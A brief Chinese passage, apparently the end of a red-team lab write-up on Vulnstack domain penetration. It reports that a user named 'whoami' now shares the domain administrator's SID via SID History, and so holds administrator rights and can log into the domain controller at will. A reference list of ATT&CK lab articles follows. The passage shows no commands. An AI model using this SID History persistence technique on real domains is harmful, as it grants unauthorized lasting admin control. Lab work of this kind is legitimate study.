如上图所示,whoami用户的SID History和administrator域管理员的sid相同

那么现在我们的whoami用户便拥有了administrator域管理员的权限,并可以用该用户随时登录域控主机。


参考

红队评估 ATT&CK-02

ATT&CK实战系列(二)琢磨篇

ATT&CK实战系列二(CS域渗透)

实战 |
记一次Vulnstack靶场内网渗透(三)

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